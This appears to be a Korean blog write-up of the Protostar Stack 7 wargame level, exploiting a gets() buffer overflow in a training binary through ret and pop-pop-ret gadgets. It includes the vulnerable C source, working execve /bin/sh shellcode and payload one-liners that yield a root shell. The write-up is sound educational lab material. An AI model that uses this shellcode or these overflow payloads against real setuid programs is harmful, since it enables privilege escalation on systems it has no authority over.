본문 바로가기

WarGame/Exploit-Exercises

[Exploit-Exercises | protostar] Stack 7 :: ROP를 이용한 Buffer Overflow


Stack 7의 소스코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
char *getpath()
{
  char buffer[64];
  unsigned int ret;
 
  printf("input path please: "); fflush(stdout);
 
  gets(buffer);
 
  ret = __builtin_return_address(0);
 
  if((ret & 0xb0000000== 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }
 
  printf("got path %s\n", buffer);
  return strdup(buffer);
}
 
int main(int argc, char **argv)
{
  getpath();
}
cs


Stack 6 보다 RET 변조에 대한 제약을 더 심하게 걸어놓았습니다. RET가 0xb로 시작하게 되면 프로그램이 종료되게 됩니다. 그렇기 때문에 RET에 라이브러리 주소들은 집어 넣을 수 없습니다. 하지만 우리는 Stack 6에서 ROP와 Chaining RTL에 대해 자세히 살펴 보았기 때문에 Stack 7은 상당히 쉽게 해결할 수 있습니다. 바로 Gadget을 이용하는 겁니다.


Step 1. 원칙적으로는 buffer의 크기는 파악해야 하지만, Stack 6과 변수 선언이 같으므로 buffer의 크기는 76 Bytes 입니다.


Step 2. objdump를 이용하여 Gadget에서 ret을 찾습니다. ret은 다 똑같기 때문에 아무거나 마음에 드는 것을 선택합니다.


1
2
3
4
5
6
7
8
9
10
11
user@protostar:~$ objdump -d /opt/protostar/bin/stack7 | grep ret
 8048383:       c3                      ret
 8048494:       c3                      ret
 80484c2:       c3                      ret
 8048544:       c3                      ret
 8048553:       c3                      ret
 8048564:       c3                      ret
 80485c9:       c3                      ret
 80485cd:       c3                      ret
 80485f9:       c3                      ret
 8048617:       c3                      ret
cs


Step 3. 다음과 같은 간단한 payload를 만들 수 있습니다. shellcode를 환경 변수에 등록하고 buffer와 SFP 영역을 A로 채운 다음 Gadget에서 찾은 ret을 입력하고 그 다음 shellcode를 집어 넣으면 shellcode가 실행되게 됩니다.


1
2
3
4
5
6
7
8
9
user@protostar:~$ export juun=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0
\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e
\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`
user@protostar:~$ ./getEnvAddr juun /opt/protostar/bin/stack7
juun Address : 0xbfffff1f
user@protostar:~$ (python -c 'print "A"*80+"\x83\x83\x04\x08"+"\x1f\xff\xff\xbf"';cat) | /opt/protostar/bin/stack7
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA귺AAAAAAAAAAA??
id
uid=0(root) gid=1001(user) groups=0(root),1001(user)
cs




Step 4. 이전 Stack 6에서 본 것과 같이 pop-pop-ret을 이용하여도 문제를 풀 수 있습니다. Gadget에 있는 pop-pop-ret의 시작 주소와 pop이 2번 발생하기 때문에 A라는 dummy 값을 8 Bytes 집어 넣고, shellcode를 실행시키는 payload 입니다.


1
2
3
4
user@protostar:~$ (python -c 'print "A"*80+"\x92\x84\x04\x08"+"A"*8+"\x1f\xff\xff\xbf"';cat) | /opt/protostar/bin/stack7
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA묨AAAAAAAAAAA묨AAAAAAA?
id
uid=0(root) gid=1001(user) groups=0(root),1001(user)
cs


Step 5. 다음과 같이 Stack 6과 같이 system("/bin/sh")을 실행시킬 수도 있습니다.


1
2
3
4
user@protostar:~$ (python -c 'print "A"*80+"\x92\x84\x04\x08"+"A"*8+"\xb0\xff\xec\xb7"+"\xc0\x60\xec\xb7"+"\xbf\x63\xfb\xb7"';cat) | /opt/protostar/bin/stack7
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA묨AAAAAAAAAAA묨AAAAAAA?痍?痍풻蹊
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
cs